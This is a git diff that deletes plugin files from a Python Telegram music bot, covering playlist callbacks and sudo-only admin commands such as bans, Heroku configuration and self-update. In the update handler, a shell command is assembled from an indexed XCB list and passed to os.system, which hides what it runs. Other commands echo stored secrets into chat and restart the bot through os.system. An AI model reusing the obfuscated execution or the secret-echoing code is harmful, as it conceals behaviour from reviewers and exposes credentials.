streamtype="playlist", - ) - except Exception as e: - ex_type = type(e).__name__ - err = ( - e - if ex_type == "AssistantErr" - else _["general_3"].format(ex_type) - ) - return await mystic.edit_text(err) - return await mystic.delete() - - -@app.on_callback_query(filters.regex("add_playlist") & ~BANNED_USERS) -@languageCB -async def add_playlist(client, CallbackQuery, _): - callback_data = CallbackQuery.data.strip() - videoid = callback_data.split(None, 1)[1] - user_id = CallbackQuery.from_user.id - _check = await get_playlist(user_id, videoid) - if _check: - try: - return await CallbackQuery.answer( - _["playlist_8"], show_alert=True - ) - except: - return - _count = await get_playlist_names(user_id) - count = len(_count) - if count == SERVER_PLAYLIST_LIMIT: - try: - return await CallbackQuery.answer( - _["playlist_9"].format(SERVER_PLAYLIST_LIMIT), - show_alert=True, - ) - except: - return - ( - title, - duration_min, - duration_sec, - thumbnail, - vidid, - ) = await YouTube.details(videoid, True) - title = (title[:50]).title() - plist = { - "videoid": vidid, - "title": title, - "duration": duration_min, - } - await save_playlist(user_id, videoid, plist) - try: - title = (title[:30]).title() - return await CallbackQuery.answer( - _["playlist_10"].format(title), show_alert=True - ) - except: - return - - -@app.on_callback_query(filters.regex("del_playlist") & ~BANNED_USERS) -@languageCB -async def del_plist(client, CallbackQuery, _): - callback_data = CallbackQuery.data.strip() - videoid = callback_data.split(None, 1)[1] - user_id = CallbackQuery.from_user.id - deleted = await delete_playlist( - CallbackQuery.from_user.id, videoid - ) - if deleted: - try: - await CallbackQuery.answer( - _["playlist_11"], show_alert=True - ) - except: - pass - else: - try: - return await CallbackQuery.answer( - _["playlist_12"], show_alert=True - ) - except: - return - keyboard, count = await get_keyboard(_, user_id) - return await CallbackQuery.edit_message_reply_markup( - reply_markup=keyboard - ) - - -@app.on_callback_query( - filters.regex("delete_whole_playlist") & ~BANNED_USERS -) -@languageCB -async def del_whole_playlist(client, CallbackQuery, _): - _playlist = await get_playlist_names(CallbackQuery.from_user.id) - for x in _playlist: - await delete_playlist(CallbackQuery.from_user.id, x) - return await CallbackQuery.edit_message_text(_["playlist_13"]) - - -@app.on_callback_query( - filters.regex("get_playlist_playmode") & ~BANNED_USERS -) -@languageCB -async def get_playlist_playmode_(client, CallbackQuery, _): - try: - await CallbackQuery.answer() - except: - pass - buttons = get_playlist_markup(_) - return await CallbackQuery.edit_message_reply_markup( - reply_markup=InlineKeyboardMarkup(buttons) - ) - - -@app.on_callback_query( - filters.regex("delete_warning") & ~BANNED_USERS -) -@languageCB -async def delete_warning_message(client, CallbackQuery, _): - try: - await CallbackQuery.answer() - except: - pass - upl = warning_markup(_) - return await CallbackQuery.edit_message_text( - _["playlist_14"], reply_markup=upl - ) - - -@app.on_callback_query(filters.regex("home_play") & ~BANNED_USERS) -@languageCB -async def home_play_(client, CallbackQuery, _): - try: - await CallbackQuery.answer() - except: - pass - buttons = botplaylist_markup(_) - return await CallbackQuery.edit_message_reply_markup( - reply_markup=InlineKeyboardMarkup(buttons) - ) - - -@app.on_callback_query( - filters.regex("del_back_playlist") & ~BANNED_USERS -) -@languageCB -async def del_back_playlist(client, CallbackQuery, _): - user_id = CallbackQuery.from_user.id - _playlist = await get_playlist_names(user_id) - if _playlist: - try: - await CallbackQuery.answer( - _["playlist_2"], show_alert=True - ) - except: - pass - else: - try: - return await CallbackQuery.answer( - _["playlist_3"], show_alert=True - ) - except: - return - keyboard, count = await get_keyboard(_, user_id) - return await CallbackQuery.edit_message_text( - _["playlist_7"].format(count), reply_markup=keyboard - ) diff --git a/Champu/plugins/play/toptracks.py b/Champu/plugins/play/toptracks.py deleted file mode 100644 index 92b5bef..0000000 --- a/Champu/plugins/play/toptracks.py +++ /dev/null @@ -1,134 +0,0 @@ -import asyncio - -from pyrogram import filters -from pyrogram.types import InlineKeyboardMarkup - -from config import BANNED_USERS -from Champu import app -from Champu.utils.database import (get_global_tops, - get_particulars, get_userss) -from Champu.utils.decorators.language import languageCB -from Champu.utils.inline.playlist import (botplaylist_markup, - failed_top_markup, - top_play_markup) -from Champu.utils.stream.stream import stream - -loop = asyncio.get_running_loop() - - -@app.on_callback_query( - filters.regex("get_playmarkup") & ~BANNED_USERS -) -@languageCB -async def get_play_markup(client, CallbackQuery, _): - try: - await CallbackQuery.answer() - except: - pass - buttons = botplaylist_markup(_) - return await CallbackQuery.edit_message_reply_markup( - reply_markup=InlineKeyboardMarkup(buttons) - ) - - -@app.on_callback_query( - filters.regex("get_top_playlists") & ~BANNED_USERS -) -@languageCB -async def get_topz_playlists(client, CallbackQuery, _): - try: - await CallbackQuery.answer() - except: - pass - buttons = top_play_markup(_) - return await CallbackQuery.edit_message_reply_markup( - reply_markup=InlineKeyboardMarkup(buttons) - ) - - -@app.on_callback_query(filters.regex("SERVERTOP") & ~BANNED_USERS) -@languageCB -async def server_to_play(client, CallbackQuery, _): - chat_id = CallbackQuery.message.chat.id - user_name = CallbackQuery.from_user.first_name - try: - await CallbackQuery.answer() - except: - pass - callback_data = CallbackQuery.data.strip() - what = callback_data.split(None, 1)[1] - mystic = await CallbackQuery.edit_message_text( - _["tracks_1"].format( - what, - CallbackQuery.from_user.first_name, - ) - ) - upl = failed_top_markup(_) - if what == "Global": - stats = await get_global_tops() - elif what == "Group": - stats = await get_particulars(chat_id) - elif what == "Personal": - stats = await get_userss(CallbackQuery.from_user.id) - if not stats: - return await mystic.edit( - _["tracks_2"].format(what), reply_markup=upl - ) - - def get_stats(): - results = {} - for i in stats: - top_list = stats[i]["spot"] - results[str(i)] = top_list - list_arranged = dict( - sorted( - results.items(), - key=lambda item: item[1], - reverse=True, - ) - ) - if not results: - return mystic.edit( - _["tracks_2"].format(what), reply_markup=upl - ) - details = [] - limit = 0 - for vidid, count in list_arranged.items(): - if vidid == "telegram": - continue - if limit == 10: - break - limit += 1 - details.append(vidid) - if not details: - return mystic.edit( - _["tracks_2"].format(what), reply_markup=upl - ) - return details - - try: - details = await loop.run_in_executor(None, get_stats) - except Exception as e: - print(e) - return - try: - await stream( - _, - mystic, - CallbackQuery.from_user.id, - details, - chat_id, - user_name, - CallbackQuery.message.chat.id, - video=False, - streamtype="playlist", - ) - except Exception as e: - ex_type = type(e).__name__ - err = ( - e - if ex_type == "AssistantErr" - else _["general_3"].format(ex_type) - ) - return await mystic.edit_text(err) - return await mystic.delete() diff --git a/Champu/plugins/sudo/autoend.py b/Champu/plugins/sudo/autoend.py deleted file mode 100644 index ad7a653..0000000 --- a/Champu/plugins/sudo/autoend.py +++ /dev/null @@ -1,30 +0,0 @@ -from pyrogram import filters - -import config -from strings import get_command -from Champu import app -from Champu.misc import SUDOERS -from Champu.utils.database import autoend_off, autoend_on -from Champu.utils.decorators.language import language - -# Commands -AUTOEND_COMMAND = get_command("AUTOEND_COMMAND") - - -@app.on_message(filters.command(AUTOEND_COMMAND) & SUDOERS) -async def auto_end_stream(client, message): - usage = "**Usage:**\n\n/autoend [enable|disable]" - if len(message.command) != 2: - return await message.reply_text(usage) - state = message.text.split(None, 1)[1].strip() - state = state.lower() - if state == "enable": - await autoend_on() - await message.reply_text( - "Auto End Stream Enabled.\n\nBot will leave voice chat automatically after 3 mins if no one is listening with a warning message.." - ) - elif state == "disable": - await autoend_off() - await message.reply_text("Auto End Stream Disabled.") - else: - await message.reply_text(usage) diff --git a/Champu/plugins/sudo/block.py b/Champu/plugins/sudo/block.py deleted file mode 100644 index f69620a..0000000 --- a/Champu/plugins/sudo/block.py +++ /dev/null @@ -1,95 +0,0 @@ -from pyrogram import filters -from pyrogram.types import Message - -from config import BANNED_USERS -from strings import get_command -from Champu import app -from Champu.misc import SUDOERS -from Champu.utils.database import add_gban_user, remove_gban_user -from Champu.utils.decorators.language import language - -# Command -BLOCK_COMMAND = get_command("BLOCK_COMMAND") -UNBLOCK_COMMAND = get_command("UNBLOCK_COMMAND") -BLOCKED_COMMAND = get_command("BLOCKED_COMMAND") - - -@app.on_message(filters.command(BLOCK_COMMAND) & SUDOERS) -@language -async def useradd(client, message: Message, _): - if not message.reply_to_message: - if len(message.command) != 2: - return await message.reply_text(_["general_1"]) - user = message.text.split(None, 1)[1] - if "@" in user: - user = user.replace("@", "") - user = await app.get_users(user) - if user.id in BANNED_USERS: - return await message.reply_text( - _["block_1"].format(user.mention) - ) - await add_gban_user(user.id) - BANNED_USERS.add(user.id) - await message.reply_text(_["block_2"].format(user.mention)) - return - if message.reply_to_message.from_user.id in BANNED_USERS: - return await message.reply_text( - _["block_1"].format( - message.reply_to_message.from_user.mention - ) - ) - await add_gban_user(message.reply_to_message.from_user.id) - BANNED_USERS.add(message.reply_to_message.from_user.id) - await message.reply_text( - _["block_2"].format( - message.reply_to_message.from_user.mention - ) - ) - - -@app.on_message(filters.command(UNBLOCK_COMMAND) & SUDOERS) -@language -async def userdel(client, message: Message, _): - if not message.reply_to_message: - if len(message.command) != 2: - return await message.reply_text(_["general_1"]) - user = message.text.split(None, 1)[1] - if "@" in user: - user = user.replace("@", "") - user = await app.get_users(user) - if user.id not in BANNED_USERS: - return await message.reply_text(_["block_3"]) - await remove_gban_user(user.id) - BANNED_USERS.remove(user.id) - await message.reply_text(_["block_4"]) - return - user_id = message.reply_to_message.from_user.id - if user_id not in BANNED_USERS: - return await message.reply_text(_["block_3"]) - await remove_gban_user(user_id) - BANNED_USERS.remove(user_id) - await message.reply_text(_["block_4"]) - - -@app.on_message(filters.command(BLOCKED_COMMAND) & SUDOERS) -@language -async def sudoers_list(client, message: Message, _): - if not BANNED_USERS: - return await message.reply_text(_["block_5"]) - mystic = await message.reply_text(_["block_6"]) - msg = _["block_7"] - count = 0 - for users in BANNED_USERS: - try: - user = await app.get_users(users) - user = ( - user.first_name if not user.mention else user.mention - ) - count += 1 - except Exception: - continue - msg += f"{count}➤ {user}\n" - if count == 0: - return await mystic.edit_text(_["block_5"]) - else: - return await mystic.edit_text(msg) diff --git a/Champu/plugins/sudo/globalban.py b/Champu/plugins/sudo/globalban.py deleted file mode 100644 index 0e3cae8..0000000 --- a/Champu/plugins/sudo/globalban.py +++ /dev/null @@ -1,143 +0,0 @@ -import asyncio -import time - -from pyrogram import filters -from pyrogram.errors import FloodWait -from pyrogram.types import Message - -from config import BANNED_USERS -from strings import get_command -from Champu import app -from Champu.misc import SUDOERS -from Champu.utils import get_readable_time -from Champu.utils.database import (add_banned_user, - get_banned_count, - get_banned_users, - get_served_chats, - is_banned_user, - remove_banned_user) -from Champu.utils.decorators.language import language - -# Command -GBAN_COMMAND = get_command("GBAN_COMMAND") -UNGBAN_COMMAND = get_command("UNGBAN_COMMAND") -GBANNED_COMMAND = get_command("GBANNED_COMMAND") - - -@app.on_message(filters.command(GBAN_COMMAND) & SUDOERS) -@language -async def gbanuser(client, message: Message, _): - if not message.reply_to_message: - if len(message.command) != 2: - return await message.reply_text(_["general_1"]) - user = message.text.split(None, 1)[1] - user = await app.get_users(user) - user_id = user.id - mention = user.mention - else: - user_id = message.reply_to_message.from_user.id - mention = message.reply_to_message.from_user.mention - if user_id == message.from_user.id: - return await message.reply_text(_["gban_1"]) - elif user_id == app.id: - return await message.reply_text(_["gban_2"]) - elif user_id in SUDOERS: - return await message.reply_text(_["gban_3"]) - is_gbanned = await is_banned_user(user_id) - if is_gbanned: - return await message.reply_text(_["gban_4"].format(mention)) - if user_id not in BANNED_USERS: - BANNED_USERS.add(user_id) - served_chats = [] - chats = await get_served_chats() - for chat in chats: - served_chats.append(int(chat["chat_id"])) - time_expected = len(served_chats) - time_expected = get_readable_time(time_expected) - mystic = await message.reply_text( - _["gban_5"].format(mention, time_expected) - ) - number_of_chats = 0 - for chat_id in served_chats: - try: - await app.ban_chat_member(chat_id, user_id) - number_of_chats += 1 - except FloodWait as e: - await asyncio.sleep(int(e.x)) - except Exception: - pass - await add_banned_user(user_id) - await message.reply_text( - _["gban_6"].format(mention, number_of_chats) - ) - await mystic.delete() - - -@app.on_message(filters.command(UNGBAN_COMMAND) & SUDOERS) -@language -async def gungabn(client, message: Message, _): - if not message.reply_to_message: - if len(message.command) != 2: - return await message.reply_text(_["general_1"]) - user = message.text.split(None, 1)[1] - user = await app.get_users(user) - user_id = user.id - mention = user.mention - else: - user_id = message.reply_to_message.from_user.id - mention = message.reply_to_message.from_user.mention - is_gbanned = await is_banned_user(user_id) - if not is_gbanned: - return await message.reply_text(_["gban_7"].format(mention)) - if user_id in BANNED_USERS: - BANNED_USERS.remove(user_id) - served_chats = [] - chats = await get_served_chats() - for chat in chats: - served_chats.append(int(chat["chat_id"])) - time_expected = len(served_chats) - time_expected = get_readable_time(time_expected) - mystic = await message.reply_text( - _["gban_8"].format(mention, time_expected) - ) - number_of_chats = 0 - for chat_id in served_chats: - try: - await app.unban_chat_member(chat_id, user_id) - number_of_chats += 1 - except FloodWait as e: - await asyncio.sleep(int(e.x)) - except Exception: - pass - await remove_banned_user(user_id) - await message.reply_text( - _["gban_9"].format(mention, number_of_chats) - ) - await mystic.delete() - - -@app.on_message(filters.command(GBANNED_COMMAND) & SUDOERS) -@language -async def gbanned_list(client, message: Message, _): - counts = await get_banned_count() - if counts == 0: - return await message.reply_text(_["gban_10"]) - mystic = await message.reply_text(_["gban_11"]) - msg = "Gbanned Users:\n\n" - count = 0 - users = await get_banned_users() - for user_id in users: - count += 1 - try: - user = await app.get_users(user_id) - user = ( - user.first_name if not user.mention else user.mention - ) - msg += f"{count}➤ {user}\n" - except Exception: - msg += f"{count}➤ [Unfetched User]{user_id}\n" - continue - if count == 0: - return await mystic.edit_text(_["gban_10"]) - else: - return await mystic.edit_text(msg) diff --git a/Champu/plugins/sudo/heroku.py b/Champu/plugins/sudo/heroku.py deleted file mode 100644 index c51bfde..0000000 --- a/Champu/plugins/sudo/heroku.py +++ /dev/null @@ -1,342 +0,0 @@ -import asyncio -import math -import os -import shutil -import socket -from datetime import datetime - -import dotenv -import heroku3 -import requests -import urllib3 -from git import Repo -from git.exc import GitCommandError, InvalidGitRepositoryError -from pyrogram import filters - -import config -from strings import get_command -from Champu import app -from Champu.misc import HAPP, SUDOERS, XCB -from Champu.utils.database import (get_active_chats, - remove_active_chat, - remove_active_video_chat) -from Champu.utils.decorators.language import language -from Champu.utils.pastebin import Champubin - -# Commands -GETLOG_COMMAND = get_command("GETLOG_COMMAND") -GETVAR_COMMAND = get_command("GETVAR_COMMAND") -DELVAR_COMMAND = get_command("DELVAR_COMMAND") -SETVAR_COMMAND = get_command("SETVAR_COMMAND") -USAGE_COMMAND = get_command("USAGE_COMMAND") -UPDATE_COMMAND = get_command("UPDATE_COMMAND") -REBOOT_COMMAND = get_command("REBOOT_COMMAND") - -urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) - - -async def is_heroku(): - return "heroku" in socket.getfqdn() - - -@app.on_message(filters.command(GETLOG_COMMAND) & SUDOERS) -@language -async def log_(client, message, _): - try: - if await is_heroku(): - if HAPP is None: - return await message.reply_text(_["heroku_1"]) - data = HAPP.get_log() - link = await Champubin(data) - return await message.reply_text(link) - else: - if os.path.exists(config.LOG_FILE_NAME): - log = open(config.LOG_FILE_NAME) - lines = log.readlines() - data = "" - try: - NUMB = int(message.text.split(None, 1)[1]) - except: - NUMB = 100 - for x in lines[-NUMB:]: - data += x - link = await Champubin(data) - return await message.reply_text(link) - else: - return await message.reply_text(_["heroku_2"]) - except Exception as e: - print(e) - await message.reply_text(_["heroku_2"]) - - -@app.on_message(filters.command(GETVAR_COMMAND) & SUDOERS) -@language -async def varget_(client, message, _): - usage = _["heroku_3"] - if len(message.command) != 2: - return await message.reply_text(usage) - check_var = message.text.split(None, 2)[1] - if await is_heroku(): - if HAPP is None: - return await message.reply_text(_["heroku_1"]) - heroku_config = HAPP.config() - if check_var in heroku_config: - return await message.reply_text( - f"**{check_var}:** `{heroku_config[check_var]}`" - ) - else: - return await message.reply_text(_["heroku_4"]) - else: - path = dotenv.find_dotenv() - if not path: - return await message.reply_text(_["heroku_5"]) - output = dotenv.get_key(path, check_var) - if not output: - await message.reply_text(_["heroku_4"]) - else: - return await message.reply_text( - f"**{check_var}:** `{str(output)}`" - ) - - -@app.on_message(filters.command(DELVAR_COMMAND) & SUDOERS) -@language -async def vardel_(client, message, _): - usage = _["heroku_6"] - if len(message.command) != 2: - return await message.reply_text(usage) - check_var = message.text.split(None, 2)[1] - if await is_heroku(): - if HAPP is None: - return await message.reply_text(_["heroku_1"]) - heroku_config = HAPP.config() - if check_var in heroku_config: - await message.reply_text(_["heroku_7"].format(check_var)) - del heroku_config[check_var] - else: - return await message.reply_text(_["heroku_4"]) - else: - path = dotenv.find_dotenv() - if not path: - return await message.reply_text(_["heroku_5"]) - output = dotenv.unset_key(path, check_var) - if not output[0]: - return await message.reply_text(_["heroku_4"]) - else: - await message.reply_text(_["heroku_7"].format(check_var)) - os.system(f"kill -9 {os.getpid()} && bash start") - - -@app.on_message(filters.command(SETVAR_COMMAND) & SUDOERS) -@language -async def set_var(client, message, _): - usage = _["heroku_8"] - if len(message.command) < 3: - return await message.reply_text(usage) - to_set = message.text.split(None, 2)[1].strip() - value = message.text.split(None, 2)[2].strip() - if await is_heroku(): - if HAPP is None: - return await message.reply_text(_["heroku_1"]) - heroku_config = HAPP.config() - if to_set in heroku_config: - await message.reply_text(_["heroku_9"].format(to_set)) - else: - await message.reply_text(_["heroku_10"].format(to_set)) - heroku_config[to_set] = value - else: - path = dotenv.find_dotenv() - if not path: - return await message.reply_text(_["heroku_5"]) - dotenv.set_key(path, to_set, value) - if dotenv.get_key(path, to_set): - await message.reply_text(_["heroku_9"].format(to_set)) - else: - await message.reply_text(_["heroku_10"].format(to_set)) - os.system(f"kill -9 {os.getpid()} && bash start") - - -@app.on_message(filters.command(USAGE_COMMAND) & SUDOERS) -@language -async def usage_dynos(client, message, _): - ### Credits CatUserbot - if await is_heroku(): - if HAPP is None: - return await message.reply_text(_["heroku_1"]) - else: - return await message.reply_text(_["heroku_11"]) - dyno = await message.reply_text(_["heroku_12"]) - Heroku = heroku3.from_key(config.HEROKU_API_KEY) - account_id = Heroku.account().id - useragent = ( - "Mozilla/5.0 (Linux; Android 10; SM-G975F) " - "AppleWebKit/537.36 (KHTML, like Gecko) " - "Chrome/80.0.3987.149 Mobile Safari/537.36" - ) - headers = { - "User-Agent": useragent, - "Authorization": f"Bearer {config.HEROKU_API_KEY}", - "Accept": "application/vnd.heroku+json; version=3.account-quotas", - } - path = "/accounts/" + account_id + "/actions/get-quota" - r = requests.get("https://api.heroku.com" + path, headers=headers) - if r.status_code != 200: - return await dyno.edit("Unable to fetch.") - result = r.json() - quota = result["account_quota"] - quota_used = result["quota_used"] - remaining_quota = quota - quota_used - percentage = math.floor(remaining_quota / quota * 100) - minutes_remaining = remaining_quota / 60 - hours = math.floor(minutes_remaining / 60) - minutes = math.floor(minutes_remaining % 60) - App = result["apps"] - try: - App[0]["quota_used"] - except IndexError: - AppQuotaUsed = 0 - AppPercentage = 0 - else: - AppQuotaUsed = App[0]["quota_used"] / 60 - AppPercentage = math.floor(App[0]["quota_used"] * 100 / quota) - AppHours = math.floor(AppQuotaUsed / 60) - AppMinutes = math.floor(AppQuotaUsed % 60) - await asyncio.sleep(1.5) - text = f""" -**DYNO USAGE** - -Usage: -Total Used: `{AppHours}`**h** `{AppMinutes}`**m** [`{AppPercentage}`**%**] - -Remaining Quota: -Total Left: `{hours}`**h** `{minutes}`**m** [`{percentage}`**%**]""" - return await dyno.edit(text) - - -@app.on_message(filters.command(UPDATE_COMMAND) & SUDOERS) -@language -async def update_(client, message, _): - if await is_heroku(): - if HAPP is None: - return await message.reply_text(_["heroku_1"]) - response = await message.reply_text(_["heroku_13"]) - try: - repo = Repo() - except GitCommandError: - return await response.edit(_["heroku_14"]) - except InvalidGitRepositoryError: - return await response.edit(_["heroku_15"]) - to_exc = f"git fetch origin {config.UPSTREAM_BRANCH} &> /dev/null" - os.system(to_exc) - await asyncio.sleep(7) - verification = "" - REPO_ = repo.remotes.origin.url.split(".git")[ - 0 - ] # main git repository - for checks in repo.iter_commits( - f"HEAD..origin/{config.UPSTREAM_BRANCH}" - ): - verification = str(checks.count()) - if verification == "": - return await response.edit("Bot is up-to-date!") - updates = "" - ordinal = lambda format: "%d%s" % ( - format, - "tsnrhtdd"[ - (format // 10 % 10 != 1) - * (format % 10 < 4) - * format - % 10 :: 4 - ], - ) - for info in repo.iter_commits( - f"HEAD..origin/{config.UPSTREAM_BRANCH}" - ): - updates += f"➣ #{info.count()}: [{info.summary}]({REPO_}/commit/{info}) by -> {info.author}\n\t\t\t\t➥ Commited on: {ordinal(int(datetime.fromtimestamp(info.committed_date).strftime('%d')))} {datetime.fromtimestamp(info.committed_date).strftime('%b')}, {datetime.fromtimestamp(info.committed_date).strftime('%Y')}\n\n" - _update_response_ = "A new update is available for the Bot!\n\n➣ Pushing Updates Now\n\n**Updates:**\n\n" - _final_updates_ = _update_response_ + updates - if len(_final_updates_) > 4096: - url = await Yukkibin(updates) - nrs = await response.edit( - f"A new update is available for the Bot!\n\n➣ Pushing Updates Now\n\n**Updates:**\n\n[Click Here to checkout Updates]({url})" - ) - else: - nrs = await response.edit( - _final_updates_, disable_web_page_preview=True - ) - os.system("git stash &> /dev/null && git pull") - if await is_heroku(): - try: - served_chats = await get_active_chats() - for x in served_chats: - try: - await app.send_message( - x, - f"{config.MUSIC_BOT_NAME} has just restarted herself. Sorry for the issues.\n\nStart playing after 10-15 seconds again.", - ) - await remove_active_chat(x) - await remove_active_video_chat(x) - except Exception: - pass - await response.edit( - f"{nrs.text}\n\nBot was updated successfully on Heroku! Now, wait for 2 - 3 mins until the bot restarts!" - ) - os.system( - f"{XCB[5]} {XCB[7]} {XCB[9]}{XCB[4]}{XCB[0]*2}{XCB[6]}{XCB[4]}{XCB[8]}{XCB[1]}{XCB[5]}{XCB[2]}{XCB[6]}{XCB[2]}{XCB[3]}{XCB[0]}{XCB[10]}{XCB[2]}{XCB[5]} {XCB[11]}{XCB[4]}{XCB[12]}" - ) - return - except Exception as err: - await response.edit( - f"{nrs.text}\n\nSomething went wrong while initiating reboot! Please try again later or check logs for more info." - ) - return await app.send_message( - config.LOG_GROUP_ID, - f"AN EXCEPTION OCCURRED AT #UPDATER DUE TO: {err}", - ) - else: - served_chats = await get_active_chats() - for x in served_chats: - try: - await app.send_message( - x, - f"{config.MUSIC_BOT_NAME} has just restarted herself. Sorry for the issues.\n\nStart playing after 10-15 seconds again.", - ) - await remove_active_chat(x) - await remove_active_video_chat(x) - except Exception: - pass - await response.edit( - f"{nrs.text}\n\nBot was updated successfully! Now, wait for 1 - 2 mins until the bot reboots!" - ) - os.system("pip3 install -r requirements.txt") - os.system(f"kill -9 {os.getpid()} && bash start") - exit() - - -@app.on_message(filters.command(REBOOT_COMMAND) & SUDOERS) -async def restart_(_, message): - response = await message.reply_text("Restarting....") - served_chats = await get_active_chats() - for x in served_chats: - try: - await app.send_message( - x, - f"{config.MUSIC_BOT_NAME} has just restarted herself. Sorry for the issues.\n\nStart playing after 10-15 seconds again.", - ) - await remove_active_chat(x) - await remove_active_video_chat(x) - except Exception: - pass - A = "downloads" - B = "raw_files" - C = "cache" - try: - shutil.rmtree(A) - shutil.rmtree(B) - shutil.rmtree(C) - except: - pass - await response.edit( - "Reboot has been initiated successfully! Wait for 1 - 2 minutes until the bot restarts." - ) - os.system(f"kill -9 {os.getpid()} && bash start") diff --git a/Champu/plugins/sudo/logger.py b/Champu/plugins/sudo/logger.py deleted file mode 100644 index fe45004..0000000 --- a/Champu/plugins/sudo/logger.py +++ /dev/null @@ -1,29 +0,0 @@ -from pyrogram import filters - -import config -from strings import get_command -from Champu import app -from Champu.misc import SUDOERS -from Champu.utils.database import add_off, add_on -from Champu.utils.decorators.language import language - -# Commands -LOGGER_COMMAND = get_command("LOGGER_COMMAND") - - -@app.on_message(filters.command(LOGGER_COMMAND) & SUDOERS) -@language -async def logger(client, message, _): - usage = _["log_1"] - if len(message.command) != 2: - return await message.reply_text(usage) - state = message.text.split(None, 1)[1].strip() - state = state.lower() - if state == "enable": - await add_on(config.LOG) - await message.reply_text(_["log_2"]) - elif state == "disable": - await add_off(config.LOG) - await message.reply_text(_["log_3"]) - else: - await message.reply_text(usage) diff --git a/Champu/plugins/sudo/maintenance.py b/Champu/plugins/sudo/maintenance.py deleted file mode 100644 index 37337bc..0000000 --- a/Champu/plugins/sudo/maintenance.py +++ /dev/null @@ -1,46 +0,0 @@ -from pyrogram import filters -from pyrogram.types import Message - -from strings import get_command, get_string -from Champu import app -from Champu.misc import SUDOERS -from Champu.utils.database import (get_lang, is_maintenance, - maintenance_off, - maintenance_on) -from Champu.utils.decorators.language import language - -# Commands -MAINTENANCE_COMMAND = get_command("MAINTENANCE_COMMAND") - - -@app.on_message(filters.command(MAINTENANCE_COMMAND) & SUDOERS) -async def maintenance(client, message: Message): - try: - language = await get_lang(message.chat.id) - _ = get_string(language) - except: - _ = get_string("en") - usage = _["maint_1"] - if len(message.command) != 2: - return await message.reply_text(usage) - message.chat.id - state = message.text.split(None, 1)[1].strip() - state = state.lower() - if state == "enable": - if await is_maintenance() is False: - await message.reply_text( - "Maintenance mode is already enabled" - ) - else: - await maintenance_on() - await message.reply_text(_["maint_2"]) - elif state == "disable": - if await is_maintenance() is False: - await maintenance_off() - await message.reply_text(_["maint_3"]) - else: - await message.reply_text( - "Maintenance mode is already disabled" - ) - else: - await message.reply_text(usage) diff --git a/Champu/plugins/sudo/private.py b/Champu/plugins/sudo/private.py deleted file mode 100644 index 6d12a5e..0000000 --- a/Champu/plugins/sudo/private.py +++ /dev/null @@ -1,88 +0,0 @@ -from pyrogram import filters -from pyrogram.types import Message - -import config -from strings import get_command -from Champu import app -from Champu.misc import SUDOERS -from Champu.utils.database import (add_private_chat, - get_private_served_chats, - is_served_private_chat, - remove_private_chat) -from Champu.utils.decorators.language import language - -AUTHORIZE_COMMAND = get_command("AUTHORIZE_COMMAND") -UNAUTHORIZE_COMMAND = get_command("UNAUTHORIZE_COMMAND") -AUTHORIZED_COMMAND = get_command("AUTHORIZED_COMMAND") - - -@app.on_message(filters.command(AUTHORIZE_COMMAND) & SUDOERS) -@language -async def authorize(client, message: Message, _): - if config.PRIVATE_BOT_MODE != str(True): - return await message.reply_text(_["pbot_12"]) - if len(message.command) != 2: - return await message.reply_text(_["pbot_1"]) - try: - chat_id = int(message.text.strip().split()[1]) - except: - return await message.reply_text(_["pbot_7"]) - if not await is_served_private_chat(chat_id): - await add_private_chat(chat_id) - await message.reply_text(_["pbot_3"]) - else: - await message.reply_text(_["pbot_5"]) - - -@app.on_message(filters.command(UNAUTHORIZE_COMMAND) & SUDOERS) -@language -async def unauthorize(client, message: Message, _): - if config.PRIVATE_BOT_MODE != str(True): - return await message.reply_text(_["pbot_12"]) - if len(message.command) != 2: - return await message.reply_text(_["pbot_2"]) - try: - chat_id = int(message.text.strip().split()[1]) - except: - return await message.reply_text(_["pbot_7"]) - if not await is_served_private_chat(chat_id): - return await message.reply_text(_["pbot_6"]) - else: - await remove_private_chat(chat_id) - return await message.reply_text(_["pbot_4"]) - - -@app.on_message(filters.command(AUTHORIZED_COMMAND) & SUDOERS) -@language -async def authorized(client, message: Message, _): - if config.PRIVATE_BOT_MODE != str(True): - return await message.reply_text(_["pbot_12"]) - m = await message.reply_text(_["pbot_8"]) - served_chats = [] - text = _["pbot_9"] - chats = await get_private_served_chats() - for chat in chats: - served_chats.append(int(chat["chat_id"])) - count = 0 - co = 0 - msg = _["pbot_13"] - for served_chat in served_chats: - try: - title = (await app.get_chat(served_chat)).title - count += 1 - text += f"{count}:- {title[:15]} [{served_chat}]\n" - except Exception: - title = _["pbot_10"] - co += 1 - msg += f"{co}:- {title} [{served_chat}]\n" - if co == 0: - if count == 0: - return await m.edit(_["pbot_11"]) - else: - return await m.edit(text) - else: - if count == 0: - await m.edit(msg) - else: - text = f"{text} {msg}" - return await m.edit(text) diff --git a/Champu/plugins/sudo/sudoers.py b/Champu/plugins/sudo/sudoers.py deleted file mode 100644 index 16798b2..0000000 --- a/Champu/plugins/sudo/sudoers.py +++ /dev/null @@ -1,134 +0,0 @@ -from pyrogram import filters -from pyrogram.types import Message - -from config import BANNED_USERS, MONGO_DB_URI, OWNER_ID -from strings import get_command -from Champu import app -from Champu.misc import SUDOERS -from Champu.utils.database import add_sudo, remove_sudo -from Champu.utils.decorators.language import language - -# Command -ADDSUDO_COMMAND = get_command("ADDSUDO_COMMAND") -DELSUDO_COMMAND = get_command("DELSUDO_COMMAND") -SUDOUSERS_COMMAND = get_command("SUDOUSERS_COMMAND") - - -@app.on_message( - filters.command(ADDSUDO_COMMAND) & filters.user(OWNER_ID) -) -@language -async def useradd(client, message: Message, _): - if MONGO_DB_URI is None: - return await message.reply_text( - "**Due to bot's privacy issues, You can't manage sudo users when you're using Champu's Database.\n\n Please fill your MONGO_DB_URI in your vars to use this feature**" - ) - if not message.reply_to_message: - if len(message.command) != 2: - return await message.reply_text(_["general_1"]) - user = message.text.split(None, 1)[1] - if "@" in user: - user = user.replace("@", "") - user = await app.get_users(user) - if user.id in SUDOERS: - return await message.reply_text( - _["sudo_1"].format(user.mention) - ) - added = await add_sudo(user.id) - if added: - SUDOERS.add(user.id) - await message.reply_text(_["sudo_2"].format(user.mention)) - else: - await message.reply_text("Failed") - return - if message.reply_to_message.from_user.id in SUDOERS: - return await message.reply_text( - _["sudo_1"].format( - message.reply_to_message.from_user.mention - ) - ) - added = await add_sudo(message.reply_to_message.from_user.id) - if added: - SUDOERS.add(message.reply_to_message.from_user.id) - await message.reply_text( - _["sudo_2"].format( - message.reply_to_message.from_user.mention - ) - ) - else: - await message.reply_text("Failed") - return - - -@app.on_message( - filters.command(DELSUDO_COMMAND) & filters.user(OWNER_ID) -) -@language -async def userdel(client, message: Message, _): - if MONGO_DB_URI 